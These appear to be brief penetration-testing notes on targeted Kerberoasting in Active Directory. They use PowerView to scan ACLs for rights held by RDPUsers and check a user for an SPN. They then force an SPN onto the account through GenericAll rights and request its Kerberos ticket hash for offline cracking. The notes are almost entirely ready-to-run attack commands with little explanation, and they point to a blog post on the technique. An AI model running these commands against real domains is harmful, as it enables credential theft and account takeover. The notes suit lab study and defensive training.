. .\\PowerView_dev.ps1

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

Check If user has SPN

Get-DomainUser -Identity support648user

when no

Force SPN

• only posssible when you have GenericAll

Set-DomainObject -Identity support648user -Set @{serviceprincipalname='dcorp/You Have Been Hacked'}

Add-Type -AssemblyName System.IdentityModel

Requesting Hash

Get-DomainUser -Identity support648user | Get-DomainSPNTicket | select -ExpandProperty Hash

Kerberos AD Attacks - Kerberoasting

[Blog] Kerberoasting - Exploiting Kerberos to Compromise Microsoft Active Directory | Secura - Insight Into Your Digital Security